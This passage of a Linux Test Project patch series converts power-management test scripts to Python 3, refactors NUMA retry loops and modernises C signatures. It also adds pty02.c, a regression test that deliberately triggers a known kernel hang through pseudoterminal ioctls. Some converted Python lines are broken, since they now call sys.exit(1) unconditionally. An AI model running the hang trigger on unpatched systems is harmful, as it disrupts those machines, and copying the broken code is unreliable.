-		if grep -m1 -q '.' ltp_numa_test8.log; then
-			break
-		fi
-
-		retries=$((retries-1))
-		tst_sleep 50ms
-	done
+	TST_RETRY_FUNC "check_ltp_numa_test8_log" 0
 
 	for node in $nodes_list; do
 		Mem_curr=$(echo "$(extract_numastat_p $pid $node) * $MB" |bc)
@@ -396,7 +384,7 @@
 		numactl --preferred=$node support_numa alloc_1MB &
 		pid=$!
 
-		wait_for_support_numa $pid
+		TST_RETRY_FUNC "check_for_support_numa $pid" 0
 
 		migratepages $pid $node $Preferred_node
 
@@ -439,7 +427,7 @@
 
 		numactl --cpunodebind=$node --membind=$node support_numa alloc_1huge_page &
 		pid=$!
-		wait_for_support_numa $pid
+		TST_RETRY_FUNC "check_for_support_numa $pid" 0
 
 		Mem_huge=$(echo $(numastat -p $pid |awk '/^Huge/ {print $'$((node+2))'}'))
 		Mem_huge=$((${Mem_huge%.*} * 1024))
@@ -482,7 +470,7 @@
 		numactl --cpunodebind=$node --preferred=$Preferred_node support_numa alloc_2HPSZ_THP &
 		pid=$!
 
-		wait_for_support_numa $pid
+		TST_RETRY_FUNC "check_for_support_numa $pid" 0
 
 		Mem_curr=$(echo "$(extract_numastat_p $pid $Preferred_node) * 1024" |bc)
 		if [ $(echo "$Mem_curr < $HPAGE_SIZE * 2" |bc ) -eq 1 ]; then
diff --git a/testcases/kernel/power_management/lib/pm_sched_mc.py b/testcases/kernel/power_management/lib/pm_sched_mc.py
index feb4b24..743b6de 100755
--- a/testcases/kernel/power_management/lib/pm_sched_mc.py
+++ b/testcases/kernel/power_management/lib/pm_sched_mc.py
@@ -1,4 +1,4 @@
-#!/usr/bin/python
+#!/usr/bin/env python3
 ''' Reusable functions related to sched mc FVT are put together
 '''
 
@@ -30,8 +30,8 @@
     '''
     try:
         os.system('dmesg -c >/dev/null')
-    except OSError, e:
-        print 'Clearing dmesg failed', e
+    except OSError as e:
+        print('Clearing dmesg failed', e)
         sys.exit(1)
 
 def count_num_cpu():
@@ -44,8 +44,8 @@
             if line.startswith('processor'):
                 cpu_count += 1
         cpuinfo.close()
-    except IOError, e:
-        print "Could not get cpu count", e
+    except IOError as e:
+        print("Could not get cpu count", e)
         sys.exit(1)
 
 def count_num_sockets():
@@ -61,8 +61,8 @@
             if socket_id not in socket_list:
                 socket_list.append(socket_id)
                 socket_count = socket_count + 1
-    except Exception, details:
-        print "INFO: Failed to get number of sockets in system", details
+    except Exception as details:
+        print("INFO: Failed to get number of sockets in system", details)
         sys.exit(1)
 
 def is_multi_socket():
@@ -74,7 +74,7 @@
         else:
             return 0
     except Exception:
-        print "Failed to check if system is multi socket system"
+        print("Failed to check if system is multi socket system")
         sys.exit(1)
 
 def is_hyper_threaded():
@@ -94,7 +94,7 @@
         else:
             return 0
     except Exception:
-        print "Failed to check if system is hyper-threaded"
+        print("Failed to check if system is hyper-threaded")
         sys.exit(1)
 
 def is_multi_core():
@@ -124,7 +124,7 @@
         file_cpuinfo.close()
         return multi_core
     except Exception:
-        print "Failed to check if system is multi core system"
+        print("Failed to check if system is multi core system")
         sys.exit(1)
 
 def get_hyper_thread_count():
@@ -142,7 +142,7 @@
                 break
         return( int( siblings[1] ) / int( cpu_cores[1] ) )
     except Exception:
-        print "Failed to check if system is hyper-threaded"
+        print("Failed to check if system is hyper-threaded")
         sys.exit(1)
 
 def map_cpuid_pkgid():
@@ -158,17 +158,17 @@
                 core_file += '/topology/core_id'
                 core_id = open(core_file).read().rstrip()
                 cpu_phy_id = open(phy_pkg_file).read().rstrip()
-                if not cpu_phy_id in cpu_map.keys():
+                if not cpu_phy_id in list(cpu_map.keys()):
                     core_info = {}
                 else:
                     core_info = cpu_map[cpu_phy_id]
-                if not core_id in core_info.keys():
+                if not core_id in list(core_info.keys()):
                     core_info[core_id] = [i]
                 else:
                     core_info[core_id].append(i)
                 cpu_map[cpu_phy_id] = core_info
-        except Exception, details:
-            print "Package, core & cpu map table creation failed", e
+        except Exception as details:
+            print("Package, core & cpu map table creation failed", e)
             sys.exit(1)
     else:
         for i in range(0, cpu_count):
@@ -176,12 +176,12 @@
                 phy_pkg_file = '/sys/devices/system/cpu/cpu%s' %i
                 phy_pkg_file += '/topology/physical_package_id'
                 cpu_phy_id = open(phy_pkg_file).read().rstrip()
-                if not cpu_phy_id in cpu_map.keys():
+                if not cpu_phy_id in list(cpu_map.keys()):
                     cpu_map[cpu_phy_id] = [i]
                 else:
                     cpu_map[cpu_phy_id].append(i)
-            except IOError, e:
-                print "Mapping of CPU to pkg id failed", e
+            except IOError as e:
+                print("Mapping of CPU to pkg id failed", e)
                 sys.exit(1)
 
 
@@ -197,8 +197,8 @@
 
             if not thread_ids in siblings_list:
                 siblings_list.append(thread_ids)
-    except Exception, details:
-        print "Exception in generate_siblings_list", details
+    except Exception as details:
+        print("Exception in generate_siblings_list", details)
         sys.exit(1)
 
 def get_siblings(cpu_id):
@@ -215,8 +215,8 @@
                             cpus += j
                     return cpus
         return cpus
-    except Exception, details:
-        print "Exception in get_siblings", details
+    except Exception as details:
+        print("Exception in get_siblings", details)
         sys.exit(1)
 
 def get_proc_data(stats_list):
@@ -229,8 +229,8 @@
                 data = line.split()
                 stats_list[data[0]] = data
         file_procstat.close()
-    except OSError, e:
-        print "Could not read statistics", e
+    except OSError as e:
+        print("Could not read statistics", e)
         sys.exit(1)
 
 def get_proc_loc_count(loc_stats):
@@ -246,8 +246,8 @@
                     loc_stats.append(data[i+1])
                 file_procstat.close()
                 return
-    except Exception, details:
-        print "Could not read interrupt statistics", details
+    except Exception as details:
+        print("Could not read interrupt statistics", details)
         sys.exit(1)
 
 
@@ -260,9 +260,9 @@
             % sched_mc_level)
 
         get_proc_data(stats_start)
-    except OSError, e:
-        print "Could not set sched_mc_power_savings to", sched_mc_level, e
-	sys.exit(1)
+    except OSError as e:
+        print("Could not set sched_mc_power_savings to", sched_mc_level, e)
+    sys.exit(1)
 
 def set_sched_smt_power(sched_smt_level):
     ''' Routine to set sched_smt_power_savings to required level
@@ -273,9 +273,9 @@
             % sched_smt_level)
 
         get_proc_data(stats_start)
-    except OSError, e:
-        print "Could not set sched_smt_power_savings to", sched_smt_level, e
-	sys.exit(1)
+    except OSError as e:
+        print("Could not set sched_smt_power_savings to", sched_smt_level, e)
+    sys.exit(1)
 
 def set_timer_migration_interface(value):
     ''' Set value of timer migration interface to a value
@@ -284,8 +284,8 @@
     try:
         os.system('echo %s > \
             /proc/sys/kernel/timer_migration 2>/dev/null' % value)
-    except OSError, e:
-        print "Could not set timer_migration to ", value, e
+    except OSError as e:
+        print("Could not set timer_migration to ", value, e)
         sys.exit(1)
 
 def get_job_count(stress, workload, sched_smt):
@@ -308,8 +308,8 @@
             threads = 1
             duration = 180
         return threads
-    except Exception, details:
-        print "get job count failed ", details
+    except Exception as details:
+        print("get job count failed ", details)
         sys.exit(1)
 
 def trigger_ebizzy (sched_smt, stress, duration, background, pinned):
@@ -328,7 +328,7 @@
                 workload_file = file_name
                 break
         if workload_file == "":
-            print "INFO: ebizzy benchmark not found"
+            print("INFO: ebizzy benchmark not found")
             os.chdir(olddir)
             sys.exit(1)
         get_proc_data(stats_start)
@@ -346,21 +346,21 @@
                         % (threads, duration))
 
             if succ == 0:
-                print "INFO: ebizzy workload triggerd"
+                print("INFO: ebizzy workload triggerd")
                 os.chdir(olddir)
                 #Commented bcoz it doesnt make sense to capture it when workload triggered
                 #in background
                 #get_proc_loc_count(intr_stop)
                 #get_proc_data(stats_stop)
             else:
-                print "INFO: ebizzy workload triggerd failed"
+                print("INFO: ebizzy workload triggerd failed")
                 os.chdir(olddir)
                 sys.exit(1)
-        except Exception, details:
-            print "Ebizzy workload trigger failed ", details
+        except Exception as details:
+            print("Ebizzy workload trigger failed ", details)
             sys.exit(1)
-    except Exception, details:
-        print "Ebizzy workload trigger failed ", details
+    except Exception as details:
+        print("Ebizzy workload trigger failed ", details)
         sys.exit(1)
 
 def trigger_kernbench (sched_smt, stress, background, pinned, perf_test):
@@ -385,7 +385,7 @@
         if workload_file != "":
             benchmark_path = path
         else:
-            print "INFO: kernbench benchmark not found"
+            print("INFO: kernbench benchmark not found")
             os.chdir(olddir)
             sys.exit(1)
 
@@ -398,8 +398,8 @@
         if linux_source_dir != "":
             os.chdir(linux_source_dir)
         else:
-            print "INFO: Linux kernel source not found in /root. Workload\
-               Kernbench cannot be executed"
+            print("INFO: Linux kernel source not found in /root. Workload\
+               Kernbench cannot be executed")
             sys.exit(1)
 
         get_proc_data(stats_start)
@@ -428,10 +428,10 @@
                     time.sleep(240)
                     stop_wkld("kernbench")
 
-        print "INFO: Workload kernbench triggerd"
+        print("INFO: Workload kernbench triggerd")
         os.chdir(olddir)
-    except Exception, details:
-        print "Workload kernbench trigger failed ", details
+    except Exception as details:
+        print("Workload kernbench trigger failed ", details)
         sys.exit(1)
 
 def trigger_workld(sched_smt, workload, stress, duration, background, pinned, perf_test):
@@ -443,8 +443,8 @@
             trigger_ebizzy (sched_smt, stress, duration, background, pinned)
         if workload == "kernbench":
             trigger_kernbench (sched_smt, stress, background, pinned, perf_test)
-    except Exception, details:
-        print "INFO: Trigger workload failed", details
+    except Exception as details:
+        print("INFO: Trigger workload failed", details)
         sys.exit(1)
 
 def generate_report():
@@ -472,29 +472,29 @@
         stats_percentage[l] = percentage_list
 
     for i in range(0, len(cpu_labels)):
-        print >> debugfile, cpu_labels[i], '\t',
-    print >> debugfile
+        print(cpu_labels[i], '\t', end=' ', file=debugfile)
+    print(file=debugfile)
     for l in sorted(stats_stop.keys()):
-        print >> debugfile, l, '\t',
+        print(l, '\t', end=' ', file=debugfile)
         for i in range(1, len(stats_stop[l])):
-            print >> debugfile, stats_stop[l][i], '\t',
-        print >> debugfile
+            print(stats_stop[l][i], '\t', end=' ', file=debugfile)
+        print(file=debugfile)
 
     for i in range(0, len(cpu_labels)):
-        print >> reportfile, cpu_labels[i], '\t',
-    print >> reportfile
+        print(cpu_labels[i], '\t', end=' ', file=reportfile)
+    print(file=reportfile)
     for l in sorted(stats_percentage.keys()):
-        print >> reportfile, l, '\t',
+        print(l, '\t', end=' ', file=reportfile)
         for i in range(1, len(stats_percentage[l])):
-            print >> reportfile, " %3.4f" % stats_percentage[l][i],
-        print >> reportfile
+            print(" %3.4f" % stats_percentage[l][i], end=' ', file=reportfile)
+        print(file=reportfile)
 
     #Now get the package ID information
     try:
-        print >> debugfile, "cpu_map: ", cpu_map
+        print("cpu_map: ", cpu_map, file=debugfile)
         keyvalfile = open('/procstat/keyval', 'a')
-        print >> keyvalfile, "nr_packages=%d" % len(cpu_map)
-        print >> keyvalfile, "system-idle=%3.4f" % (stats_percentage['cpu'][4])
+        print("nr_packages=%d" % len(cpu_map), file=keyvalfile)
+        print("system-idle=%3.4f" % (stats_percentage['cpu'][4]), file=keyvalfile)
         for pkg in sorted(cpu_map.keys()):
             if is_hyper_threaded():
                 for core in sorted(cpu_map[pkg].keys()):
@@ -511,20 +511,20 @@
                     total_idle += stats_stop["cpu%d" % cpu][4]
                     for i in range(1, len(stats_stop["cpu%d" % cpu])):
                         total += stats_stop["cpu%d" % cpu][i]
-            print >> reportfile, "Package: ", pkg, "Idle %3.4f%%" \
-	        % (float(total_idle)*100/total)
-            print >> keyvalfile, "package-%s=%3.4f" % \
-		(pkg, (float(total_idle)*100/total))
-    except Exception, details:
-        print "Generating utilization report failed: ", details
+            print("Package: ", pkg, "Idle %3.4f%%" \
+	        % (float(total_idle)*100/total), file=reportfile)
+            print("package-%s=%3.4f" % \
+		(pkg, (float(total_idle)*100/total)), file=keyvalfile)
+    except Exception as details:
+        print("Generating utilization report failed: ", details)
         sys.exit(1)
 
     #Add record delimiter '\n' before closing these files
-    print >> debugfile
+    print(file=debugfile)
     debugfile.close()
-    print >> reportfile
+    print(file=reportfile)
     reportfile.close()
-    print >> keyvalfile
+    print(file=keyvalfile)
     keyvalfile.close()
 
 def generate_loc_intr_report():
@@ -537,17 +537,17 @@
         get_proc_loc_count(intr_stop)
 
         reportfile = open('/procstat/cpu-loc_interrupts', 'a')
-        print >> reportfile, "=============================================="
-        print >> reportfile, "     Local timer interrupt stats              "
-        print >> reportfile, "=============================================="
+        print("==============================================", file=reportfile)
+        print("     Local timer interrupt stats              ", file=reportfile)
+        print("==============================================", file=reportfile)
 
         for i in range(0, cpu_count):
             intr_stop[i] =  int(intr_stop[i]) - int(intr_start[i])
-            print >> reportfile, "CPU%s: %s" %(i, intr_stop[i])
-        print >> reportfile
+            print("CPU%s: %s" %(i, intr_stop[i]), file=reportfile)
+        print(file=reportfile)
         reportfile.close()
-    except Exception, details:
-        print "Generating interrupt report failed: ", details
+    except Exception as details:
+        print("Generating interrupt report failed: ", details)
         sys.exit(1)
 
 def record_loc_intr_count():
@@ -560,8 +560,8 @@
             intr_stat_timer_0.append(intr_stop[i])
         intr_start = []
         intr_stop = []
-    except Exception, details:
-        print "INFO: Record interrupt statistics when timer_migration=0",details
+    except Exception as details:
+        print("INFO: Record interrupt statistics when timer_migration=0",details)
 
 def expand_range(range_val):
     '''
@@ -578,8 +578,8 @@
                 for j in range(int(hyphen_values[0]), int(hyphen_values[1])+1):
                     ids_list.append(j)
         return(ids_list)
-    except Exception, details:
-        print "INFO: expand_pkg_grps failed ", details
+    except Exception as details:
+        print("INFO: expand_pkg_grps failed ", details)
 
 def is_quad_core():
     '''
@@ -596,8 +596,8 @@
                     return(1)
                 else:
                     return(0)
-    except IOError, e:
-        print "Failed to get cpu core information", e
+    except IOError as e:
+        print("Failed to get cpu core information", e)
         sys.exit(1)
 
 def validate_cpugrp_map(cpu_group, sched_mc_level, sched_smt_level):
@@ -628,7 +628,7 @@
                                 # in different cores of same package
                                 #if sched_smt_level > 0 :
                                     #return 1
-	else:
+        else:
             for pkg in sorted(cpu_map.keys()):
                 pkg_cpus = cpu_map[pkg]
                 if len(cpu_group) == len(pkg_cpus):
@@ -640,8 +640,8 @@
 
         return(1)
 
-    except Exception, details:
-        print "Exception in validate_cpugrp_map: ", details
+    except Exception as details:
+        print("Exception in validate_cpugrp_map: ", details)
         sys.exit(1)
 
 
@@ -680,8 +680,8 @@
             return(0)
         else:
             return(1)
-    except Exception, details:
-        print "Reading dmesg failed", details
+    except Exception as details:
+        print("Reading dmesg failed", details)
         sys.exit(1)
 
 def get_cpu_utilization(cpu):
@@ -692,8 +692,8 @@
             if cpu == stats_percentage[l][0]:
                 return stats_percentage[l][1]
         return -1
-    except Exception, details:
-        print "Exception in get_cpu_utilization", details
+    except Exception as details:
+        print("Exception in get_cpu_utilization", details)
         sys.exit(1)
 
 def validate_cpu_consolidation(stress, work_ld, sched_mc_level, sched_smt_level):
@@ -737,7 +737,7 @@
                     if stats_percentage[l][1] > 70:
                         cpus_utilized.append(int(cpu_id[1]))
             cpus_utilized.sort()
-        print "INFO: CPU's utilized ", cpus_utilized
+        print("INFO: CPU's utilized ", cpus_utilized)
 
         # If length of CPU's utilized is not = number of jobs exit with 1
         if len(cpus_utilized) < threads:
@@ -746,11 +746,11 @@
         status = validate_cpugrp_map(cpus_utilized, sched_mc_level, \
             sched_smt_level)
         if status == 1:
-            print "INFO: CPUs utilized is not in same package or core"
+            print("INFO: CPUs utilized is not in same package or core")
 
         return(status)
-    except Exception, details:
-        print "Exception in validate_cpu_consolidation: ", details
+    except Exception as details:
+        print("Exception in validate_cpu_consolidation: ", details)
         sys.exit(1)
 
 def get_cpuid_max_intr_count():
@@ -780,13 +780,13 @@
                 diff = second_highest - intr_stop[i]
                 ''' Threshold of difference has to be manipulated '''
                 if diff < 10000:
-                    print "INFO: Diff in interrupt count is below threshold"
+                    print("INFO: Diff in interrupt count is below threshold")
                     cpus_utilized = []
                     return cpus_utilized
-        print "INFO: Interrupt count in other CPU's low as expected"
+        print("INFO: Interrupt count in other CPU's low as expected")
         return cpus_utilized
-    except Exception, details:
-        print "Exception in get_cpuid_max_intr_count: ", details
+    except Exception as details:
+        print("Exception in get_cpuid_max_intr_count: ", details)
         sys.exit(1)
 
 def validate_ilb (sched_mc_level, sched_smt_level):
@@ -799,8 +799,8 @@
 
         status = validate_cpugrp_map(cpus_utilized, sched_mc_level, sched_smt_level)
         return status
-    except Exception, details:
-        print "Exception in validate_ilb: ", details
+    except Exception as details:
+        print("Exception in validate_ilb: ", details)
         sys.exit(1)
 
 def reset_schedmc():
@@ -809,8 +809,8 @@
     try:
         os.system('echo 0 > \
             /sys/devices/system/cpu/sched_mc_power_savings 2>/dev/null')
-    except OSError, e:
-        print "Could not set sched_mc_power_savings to 0", e
+    except OSError as e:
+        print("Could not set sched_mc_power_savings to 0", e)
         sys.exit(1)
 
 def reset_schedsmt():
@@ -819,8 +819,8 @@
     try:
         os.system('echo 0 > \
             /sys/devices/system/cpu/sched_smt_power_savings 2>/dev/null')
-    except OSError, e:
-        print "Could not set sched_smt_power_savings to 0", e
+    except OSError as e:
+        print("Could not set sched_smt_power_savings to 0", e)
         sys.exit(1)
 
 def stop_wkld(work_ld):
@@ -830,6 +830,6 @@
         os.system('pkill %s 2>/dev/null' %work_ld)
         if work_ld == "kernbench":
             os.system('pkill make 2>/dev/null')
-    except OSError, e:
-        print "Exception in stop_wkld", e
+    except OSError as e:
+        print("Exception in stop_wkld", e)
         sys.exit(1)
diff --git a/testcases/kernel/power_management/pm_cpu_consolidation.py b/testcases/kernel/power_management/pm_cpu_consolidation.py
index 734db27..a01db00 100755
--- a/testcases/kernel/power_management/pm_cpu_consolidation.py
+++ b/testcases/kernel/power_management/pm_cpu_consolidation.py
@@ -1,4 +1,4 @@
-#!/usr/bin/python
+#!/usr/bin/env python3
 ''' This Python script interprets various sched stats values.
     Validates cpu consolidation for given sched_mc_power_saving value
 '''
@@ -79,7 +79,7 @@
             generate_report()
             status = validate_cpu_consolidation("partial", work_ld, options.mc_value, options.smt_value)
             if status == 0:
-                print "INFO: Consolidation worked sched_smt &(/) sched_mc is set"
+                print("INFO: Consolidation worked sched_smt &(/) sched_mc is set")
                 #Disable sched_smt & sched_mc interface values
                 if options.vary_mc_smt and options.mc_value > 0:
                     set_sched_mc_power(0)
@@ -107,8 +107,8 @@
                 else:
                     return(1)
             else:
-                print "INFO: CPU consolidation failed when sched_mc &(/) \
-sched_smt was enabled. This is pre-requisite to proceed"
+                print("INFO: CPU consolidation failed when sched_mc &(/) \
+sched_smt was enabled. This is pre-requisite to proceed")
                 return(status)
         else:
             #The else part of the code validates behaviour of sched_mc
@@ -118,7 +118,7 @@
             if is_hyper_threaded():
                 set_sched_smt_power(options.smt_value)
             map_cpuid_pkgid()
-            print "INFO: Created table mapping cpu to package"
+            print("INFO: Created table mapping cpu to package")
             background="no"
             duration=60
             pinned ="no"
@@ -135,8 +135,8 @@
             if is_hyper_threaded():
                 reset_schedsmt()
             return(status)
-    except Exception, details:
-        print "INFO: CPU consolidation failed", details
+    except Exception as details:
+        print("INFO: CPU consolidation failed", details)
         return(1)
 
 if __name__ == "__main__":
diff --git a/testcases/kernel/power_management/pm_ilb_test.py b/testcases/kernel/power_management/pm_ilb_test.py
index 0b447d8..f207170 100755
--- a/testcases/kernel/power_management/pm_ilb_test.py
+++ b/testcases/kernel/power_management/pm_ilb_test.py
@@ -1,4 +1,4 @@
-#!/usr/bin/python
+#!/usr/bin/env python3
 ''' This Python script interprets interrupt values.
     Validates Ideal load balancer runs in same package where workload is running
 '''
@@ -36,7 +36,7 @@
         if is_hyper_threaded():
             set_sched_smt_power(options.smt_level)
         map_cpuid_pkgid()
-        print "INFO: Created table mapping cpu to package"
+        print("INFO: Created table mapping cpu to package")
         background="no"
         duration=120
         pinned="yes"
@@ -49,8 +49,8 @@
             reset_schedsmt()
         return(status)
 
-    except Exception, details:
-        print "INFO: Idle Load Balancer test failed", details
+    except Exception as details:
+        print("INFO: Idle Load Balancer test failed", details)
         return(1)
 
 if __name__ == "__main__":
diff --git a/testcases/kernel/power_management/pm_sched_domain.py b/testcases/kernel/power_management/pm_sched_domain.py
index a54b0e9..dddc481 100755
--- a/testcases/kernel/power_management/pm_sched_domain.py
+++ b/testcases/kernel/power_management/pm_sched_domain.py
@@ -1,4 +1,4 @@
-#!/usr/bin/python
+#!/usr/bin/env python3
 ''' This Python script validates sched domain information in dmesg
     with information in sysfs topology
 '''
@@ -43,10 +43,10 @@
                 reset_schedsmt()
                 return(status)
         else:
-            print "INFO: Invalid arguments given"
+            print("INFO: Invalid arguments given")
             return 1
-    except Exception, details:
-        print "INFO: sched domain test failed: ", details
+    except Exception as details:
+        print("INFO: sched domain test failed: ", details)
         return(1)
 
 # Run test based on the command line arguments
diff --git a/testcases/kernel/power_management/runpwtests05.sh b/testcases/kernel/power_management/runpwtests05.sh
index 910a75b..8a7d0f6 100755
--- a/testcases/kernel/power_management/runpwtests05.sh
+++ b/testcases/kernel/power_management/runpwtests05.sh
@@ -35,7 +35,7 @@
 	max_sched_smt=1
 fi
 
-tst_check_cmds python
+tst_test_cmds python
 
 if ! grep sched_debug -qw /proc/cmdline ; then
 	tst_brkm TCONF "Kernel cmdline parameter 'sched_debug' needed," \
diff --git a/testcases/kernel/power_management/runpwtests_exclusive01.sh b/testcases/kernel/power_management/runpwtests_exclusive01.sh
index cb27d41..ec78319 100755
--- a/testcases/kernel/power_management/runpwtests_exclusive01.sh
+++ b/testcases/kernel/power_management/runpwtests_exclusive01.sh
@@ -35,7 +35,7 @@
 	max_sched_smt=1
 fi
 
-tst_check_cmds python
+tst_test_cmds python
 
 hyper_threaded=$(is_hyper_threaded)
 multi_socket=$(is_multi_socket)
diff --git a/testcases/kernel/power_management/runpwtests_exclusive02.sh b/testcases/kernel/power_management/runpwtests_exclusive02.sh
index dedf897..e107fce 100755
--- a/testcases/kernel/power_management/runpwtests_exclusive02.sh
+++ b/testcases/kernel/power_management/runpwtests_exclusive02.sh
@@ -33,7 +33,7 @@
 	max_sched_smt=1
 fi
 
-tst_check_cmds python
+tst_test_cmds python
 
 hyper_threaded=$(is_hyper_threaded)
 multi_socket=$(is_multi_socket)
diff --git a/testcases/kernel/power_management/runpwtests_exclusive03.sh b/testcases/kernel/power_management/runpwtests_exclusive03.sh
index 8e39396..490344b 100755
--- a/testcases/kernel/power_management/runpwtests_exclusive03.sh
+++ b/testcases/kernel/power_management/runpwtests_exclusive03.sh
@@ -35,7 +35,7 @@
 	max_sched_smt=1
 fi
 
-tst_check_cmds python
+tst_test_cmds python
 
 hyper_threaded=$(is_hyper_threaded)
 multi_socket=$(is_multi_socket)
diff --git a/testcases/kernel/power_management/runpwtests_exclusive04.sh b/testcases/kernel/power_management/runpwtests_exclusive04.sh
index 8c7d23b..978ca02 100755
--- a/testcases/kernel/power_management/runpwtests_exclusive04.sh
+++ b/testcases/kernel/power_management/runpwtests_exclusive04.sh
@@ -27,7 +27,7 @@
 # Checking test environment
 check_kervel_arch
 
-tst_check_cmds python
+tst_test_cmds python
 
 hyper_threaded=$(is_hyper_threaded)
 multi_socket=$(is_multi_socket)
diff --git a/testcases/kernel/power_management/runpwtests_exclusive05.sh b/testcases/kernel/power_management/runpwtests_exclusive05.sh
index cca10f5..a0dad58 100755
--- a/testcases/kernel/power_management/runpwtests_exclusive05.sh
+++ b/testcases/kernel/power_management/runpwtests_exclusive05.sh
@@ -35,7 +35,7 @@
 	max_sched_smt=1
 fi
 
-tst_check_cmds python
+tst_test_cmds python
 
 hyper_threaded=$(is_hyper_threaded)
 multi_socket=$(is_multi_socket)
diff --git a/testcases/kernel/pty/.gitignore b/testcases/kernel/pty/.gitignore
index db16401..131b8a0 100644
--- a/testcases/kernel/pty/.gitignore
+++ b/testcases/kernel/pty/.gitignore
@@ -1,3 +1,4 @@
 /hangup01
 /ptem01
 /pty01
+/pty02
diff --git a/testcases/kernel/pty/pty02.c b/testcases/kernel/pty/pty02.c
new file mode 100644
index 0000000..3f34704
--- /dev/null
+++ b/testcases/kernel/pty/pty02.c
@@ -0,0 +1,74 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program, if not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * Regression test for commit 966031f340185 ("n_tty: fix EXTPROC vs ICANON
+ * interaction with TIOCINQ (aka FIONREAD)").  The test reproduces a hang
+ * (infinite loop in the kernel) after a pseudoterminal is put in both canonical
+ * (ICANON) and external processing (EXTPROC) mode, some data is written to the
+ * master and read from the slave, and the FIONREAD ioctl is called on the
+ * slave.  This is simplified from a syzkaller-generated reproducer.
+ */
+
+#include <stdlib.h>
+#include <errno.h>
+#include <termio.h>
+
+#include "tst_test.h"
+#include "lapi/termbits.h"
+
+static void do_test(void)
+{
+	struct termios io;
+	int ptmx, pts;
+	char c = 'A';
+	int nbytes;
+
+	ptmx = SAFE_OPEN("/dev/ptmx", O_WRONLY);
+
+	if (tcgetattr(ptmx, &io) != 0)
+		tst_brk(TBROK | TERRNO, "tcgetattr() failed");
+
+	io.c_lflag = EXTPROC | ICANON;
+
+	TEST(tcsetattr(ptmx, TCSANOW, &io));
+	if (TST_RET == -1) {
+		if (TST_ERR == EINVAL)
+			tst_brk(TCONF, "tcsetattr(, , EXTPROC | ICANON) is not supported");
+		tst_brk(TBROK | TERRNO, "tcsetattr() failed");
+	}
+
+	if (unlockpt(ptmx) != 0)
+		tst_brk(TBROK | TERRNO, "unlockpt() failed");
+
+	pts = SAFE_OPEN(ptsname(ptmx), O_RDONLY);
+	/* write newline to ptmx to avoid read() on pts to block */
+	SAFE_WRITE(1, ptmx, "A\n", 2);
+	SAFE_READ(1, pts, &c, 1);
+
+	tst_res(TINFO, "Calling FIONREAD, this will hang in n_tty_ioctl() if the bug is present...");
+	SAFE_IOCTL(pts, FIONREAD, &nbytes);
+
+	SAFE_CLOSE(ptmx);
+	SAFE_CLOSE(pts);
+
+	tst_res(TPASS, "Got to the end without hanging");
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+};
diff --git a/testcases/kernel/sched/cfs-scheduler/hackbench.c b/testcases/kernel/sched/cfs-scheduler/hackbench.c
index c7b7e0c..6f37060 100644
--- a/testcases/kernel/sched/cfs-scheduler/hackbench.c
+++ b/testcases/kernel/sched/cfs-scheduler/hackbench.c
@@ -92,7 +92,7 @@
 	exit(1);
 }
 
-static void print_usage_exit()
+static void print_usage_exit(void)
 {
 	printf
 	    ("Usage: hackbench [-pipe] <num groups> [process|thread] [loops]\n");
diff --git a/testcases/kernel/sched/clisrv/pthcli.c b/testcases/kernel/sched/clisrv/pthcli.c
index 3bcd688..7833b86 100644
--- a/testcases/kernel/sched/clisrv/pthcli.c
+++ b/testcases/kernel/sched/clisrv/pthcli.c
@@ -53,15 +53,14 @@
 
 void noprintf(char *string, ...)
 {
+	(void) string;
 }
 
 /* Read contents of FILE *fp. Write each line to socket, then
    read line back from socket and write to standard output.
    Return to caller when done */
 
-void str_cli(fp, sockfd)
-register FILE *fp;
-register int sockfd;
+void str_cli(FILE *fp, int sockfd)
 {
 	int n;
 	char sendline[MAXLINE], recvline[MAXLINE + 1];
diff --git a/testcases/kernel/sched/clisrv/pthserv.c b/testcases/kernel/sched/clisrv/pthserv.c
index 7aeb63f..e3da521 100644
--- a/testcases/kernel/sched/clisrv/pthserv.c
+++ b/testcases/kernel/sched/clisrv/pthserv.c
@@ -53,8 +53,7 @@
 /* Read a stream socket one line at a time and write each line back
    to sender. Return when connection is terminated */
 
-int str_echo(sockfd)
-int sockfd;
+int str_echo(int sockfd)
 {
 	int n, testint;
 	char line[MAXLINE];
@@ -95,6 +94,7 @@
 	struct sockaddr_in cli_addr, serv_addr;
 	pname = argv[0];
 
+	(void) argc;
 	prtln();
 	/* Open inet stream socket */
 	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
diff --git a/testcases/kernel/sched/clisrv/readline.c b/testcases/kernel/sched/clisrv/readline.c
index e65ef18..0c32729 100644
--- a/testcases/kernel/sched/clisrv/readline.c
+++ b/testcases/kernel/sched/clisrv/readline.c
@@ -25,10 +25,7 @@
 /* Read line from a descriptor, byte at a time, return number of
    characters up to the null */
 
-int readline(fd, ptr, maxlen)
-register int fd;
-register char *ptr;
-register int maxlen;
+int readline(int fd, char *ptr, int maxlen)
 {
 	int n, rc;
 	char c;
diff --git a/testcases/kernel/sched/clisrv/writen.c b/testcases/kernel/sched/clisrv/writen.c
index 43db4b2..7ab12cd 100644
--- a/testcases/kernel/sched/clisrv/writen.c
+++ b/testcases/kernel/sched/clisrv/writen.c
@@ -25,10 +25,7 @@
 /* Write "n" bytes to a descriptor
    Use instead of write() when fd is a stream socket. */
 
-int writen(fd, ptr, nbytes)
-register int fd;
-register char *ptr;
-register int nbytes;
+int writen(int fd, char *ptr, int nbytes)
 {
 	int nleft, nwritten;
 
diff --git a/testcases/kernel/sched/eas/Makefile b/testcases/kernel/sched/eas/Makefile
new file mode 100644
index 0000000..1ddf026
--- /dev/null
+++ b/testcases/kernel/sched/eas/Makefile
@@ -0,0 +1,11 @@
+# Copyright (c) 2018 Google, Inc.
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir	?= ../../../..
+include $(top_srcdir)/include/mk/testcases.mk
+
+LDLIBS += -lpthread
+
+FILTER_OUT_MAKE_TARGETS := trace_parse util
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
+$(MAKE_TARGETS): %: %.o trace_parse.o util.o
